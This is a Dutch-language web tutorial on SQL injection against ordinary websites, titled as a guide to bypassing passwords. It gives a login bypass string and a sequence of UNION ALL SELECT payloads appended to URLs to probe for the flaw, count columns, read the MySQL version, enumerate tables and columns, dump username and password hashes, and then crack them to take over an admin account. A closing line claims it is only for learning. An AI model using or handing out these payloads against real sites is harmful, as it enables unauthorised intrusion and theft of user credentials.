Wachtwoorden omzeilen: SQL Injection Tutorial

SQL Injection

Zoek een site die gebruik maakt van SQL. Ga naar de login pagina. Username = 'OR 1=1--, Wachtwoord: maakt niet uit. Om te kijken of een site vulnerable is, moet je bijvoorbeeld bij deze site: www.site.com/article.php?id=5, achter de 5 een apostrof zettten ('). Als hij goed laadt, is hij niet te injecten. Als hij een error geeft is de site waarschijnlijk vulnerable. Ook moet je proberen achter het ID twee streepjes zettten (--, wat het comment teken is) en als de desbetreffende site gewoon laadt, is de site niet te injecten. Als hij een error geeft is de site (nog meer) waarschijnlijk te injecten.

Columns

Om te kijken hoeveel columns er zijn, plak je eerst achter de URL "order by 1/*", als dit geen error geeft dan probeer je in plaats van 1 de 2, de 3 ipv 2, 4 ipv 3 enz enz. Net zo lang totdat hij een error geeft. Om te kijken of we één van de goede columns hebben, typ je het volgende achter de URL: "UNION ALL SELECT null/*", dan "UNION ALL SELECT null, null/*", dan "UNION ALL SELECT 1,2" en dan "UNION ALL SELECT xyz123,null/* " of ipv die laatste kan je ook "UNION ALL SELECT null,xyz123/*" achter de URL zetten. Daarna moet je ook de source code van de website openen, en die ook doorzoeken. Daar kunnen namelijk hidden tags inzitten.

Welke versie?

De versie van MySQL kom je te weten door UNION ALL SELECT version(),2/* (of UNION ALL SELECT @@version,2/*) achter de URL te zetten. Als dat niet werkt, zet je deze query IPV! van het id nummer in de url: "UNION ALL SELECT unhex(hex(@@version)), 2/*" Zonder aanhalingstekens. Als je de versie weet, en dit is 5.0.27 standard, dan is het makkelijk. voeg "UNION ALL SELECT table_name,2 FROM information_schema.tables/*" achter de URL in en dan krijg je een schema. Als je de unhex(hex(@@version)),2/* heb gebruik, dan doe je in plaats van "UNION ALL SELECT table_name,2 FROM information_schema.tables/*" dit, zet je dit achter de URL -> UNION ALL SELECT unhex(hex(table_name)), 2 FROM information_schema.tables/*. Als je dat gedaan heb, moet je nog de juiste table zoeken door "UNION ALL SELECT column_name,2 FROM information_schema.columns/*" achter de URL te zetten. Nu krijg je meerdere colums, 2 daarvan zijn username en password. Als je een naam vindt, bijvoorbeeld "henk", maar daar staat geen wachtwoord bij, doe je het volgende achter de URL: UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='henk' waarbij je henk natuurlijk in je eigen gevonden username moet gebruiken.

Je kan dan kijken of er een user is door UNION ALL SELECT user(),2/* achter de URL te plaatsen. En "UNION ALL SELECT database(),2/*" voor de database.Als dat niet lukt, dan plaats je "UNION ALL SELECT concat(username,0x3a,password),2 FROM henk/*" achter de URL. Dan krijg je een hashcode terug, en deze moet je weer cracken met crackers als John the Ripper, Cain & Able. Dan log je in en dan heb je de admin account gehackt. Ta-da, SQL injection complete!

LET OP - LET OP - LET OP

NOTE: Dit is alleen bedoeld om van te leren, en te laten zien hoe makkelijk het nog is om wachtwoorden te omzeilen. Altijd oppassen met uw informatie!En uw anti-malware en firewall up-to-date houden!


Reacties (0)

Reageer
Geen resultaten gevonden